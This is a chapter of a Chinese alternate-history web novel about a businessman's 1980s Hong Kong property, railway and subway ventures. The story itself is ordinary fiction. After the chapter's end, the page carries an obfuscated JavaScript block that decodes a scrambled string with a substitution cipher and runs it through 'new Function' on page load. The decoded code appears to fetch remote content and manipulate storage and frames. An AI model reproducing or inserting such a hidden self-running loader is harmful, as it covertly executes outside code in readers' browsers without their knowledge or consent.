上一世，在香江问题尘埃落定之后，以怡和为首的英资企业开始逐渐撤退，而华资企业特别是华资地产企业，开始逐渐跻身为香江经济新的话事人、
像李嘉诚、李昭基、郭德胜这些地产巨富，正是在八五年之后的十年中，财富开始像吹气球一样飞快膨胀。
但在这一世不一样。
1982香江问题尘埃落定，盘山集团才是真正的最大赢家。
其次是霍英東！
其他的是一些跟随他们的商人，或多或少都有所斩获，几年下来财富基本上最少都翻了一倍。
至于那些离心离德的人，是最大输家，特别是选择移民的人，当时以不到三分之一的价格出售，现在想回到香江，那得花更多的钱才能有原来同水平的房子。
墙头草，什么都没捞着，还有一些损失。
此刻他们想要在房地产上有所作为，除了北上开发房地产外，在香江这里，便是开发原本的地皮，以及拿到更多的地皮，开发出来的房子以高价售卖。
刘韬对于太高的地皮，是不感兴趣，价格低一些的还好，价格高的便没有参与竞争。
因为他控制的地皮，已经非常多了。
香江给人的一大印象就是地少人多，但是实际上香江的陆地总面积达到1095平方公里，是同属亚洲四小龙之一的新加坡国土面积的1.5倍。
香江之所以会出现地少人多的状况，很大程度上因为港府在过去统治香江的这将近150年间，实际上真正只开发了港岛的约78平方公里面积和九龙半岛约50平方公里面积。
在这128平方公里的土地上，现在聚集了香江六百万人口中的四百万人口，占比66.67%！
这自然是早已不堪重负，也形成了地少人多。
至于剩下的将近900平方公里的土地利用率却非常低。
九龙和港岛早已发展成为世界上最繁华的都市区，而新界的状况原本是并不比界河的鹏城好到哪里去。
而1982年，盘山集团旗下各个集团选择在香江建厂的，便是选择在新界，也就是天水围、东镇围这一带。
这给了新界带来了新机，整个元朗迅速发展起来。
短短几年时间，这里的人口便超过了百万。
这里的土地价值，水涨船高着。
而这里也成了香江的工业中心所在。
1982年的时候，香江人口是526万人，移民走超过二十万人，但是几年时间，现在人口已经达到了600万人，这一百万人都是来自于内地。
这一百万人，给香江注入了新鲜血液。
原本这里只是开工建设工厂，后来那些在元朗有地的房地产商便开发住宅楼小区以及商场。
当然动作最大的，便是置地、会德丰等在这里的开发。
不过与那些房地产商开发房子想要高价都卖不同，刘韬控制的这些房地产公司开发的房子，一半卖一半租，以此遏制房价的迅猛上涨。
要不是这样的措施，恐怕元朗的这里的房价将会直追港岛、九龙！
他在香江的房地产布局很清晰，形成了豪、高、中、低、租格局，像风水宝地、水库的豪华别墅，只卖给有钱人，拥有最豪华的房子、最安全的安保措施、最好的服务、最好的教育。
好的地段、高端楼盘是给那些小老板们、金领们、高管们，这些房子价格不会低。
中端的楼盘，面对的对象便是白领等中等收入群体。低端楼盘则是供给打工者。
租房子的，则是用于抑制过高的房价，给别人一个选择。而这些用于出租的房子，就以公寓房子为主，一部分套房。
将自己的同胞像猪一样圈养起来，从他们身上疯狂吸血，说实在的刘韬是做不出来。
要是没有他这个布局，恐怕现在香江的房价早已突破天际了。
约莫下午五点左右，霍英東来到了这里，两人选了元朗的一家海鲜酒楼一起吃了一顿晚饭。
两人聊着香江的发展，然后聊到了正事。
此次刘韬前来香江，除了看一看这里的产业外，还有四件事要做。
一件便是‘京九铁路’香江段，这一段只有34公里，原本的设想是在香江建设13个站点，后面不合适，改为了3个站点，一个是入境站‘罗湖站’，一站是‘大学站’，一站是‘九龙车站’！
到现在为止，这34公里的铁路堪堪建成。
而界河桥上个月刚建完，目前这一段还未通车。
一件便是主要道路的建设，这些重新建设的主要道路，将是驻港部队入港行驶路线，重要无比。
普通的道路，别说是主战坦克了，中型坦克就会轻易压坏路面。
也就只有这种专门修建的高标准道路，才能支持主战坦克行驶。
这些主要道路，时间节点都是放在1987年春节前。
现在有些已经完工通车，但是也有一部分还未完工。
第三件事便是金龙集团赴美上市，过完年后霍英東等人便要前往美国进行路演，毫无疑问这是一件大事。
证券商们早就都谈妥了，这些资本大鳄就如同闻到星味的鲨鱼一般，都直接来到香江商谈。
至于第四件事，便是香江地铁！
1974年初，日本财团签署了承投工程的意向书，但在同年11月因石油危机问题而对投资前景悲观，决定退出，引致有关计划一度暂停。
1977年7月港府正式批准兴建荃湾线，并于1978年11月开始动工，荃湾线全长约10.5公里，由太子站至荃湾站。路线将地铁版图总长度增至26.1公里，全线有10个车站，包括6个地底车站、1个地面车站及3个高架车站。
1982年5月10日，荃湾线开放通车，工程费用为41亿港元。
而这也正式开启了香江地铁时代，代表着香江拥有了地铁。
1980年12月港府正式批准兴建港岛线，只是因为1982年的寒冬，日本财团决定退出，引致有关计划暂停。
去年港府卖了不少地，霍英東等便在推动着港岛线，毕竟这可是投资高达上百亿港元的大工程，这里面的利润可是不小。
刘韬自然也打算借助这个机会，给自己拿下一个工程。
这里面双方就有很大的合作空间。
甚至等到最后，垄断整个香江的地铁工程建设。
毕竟这事可不能便宜了日本财团，凭啥让日本财团大赚钱。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();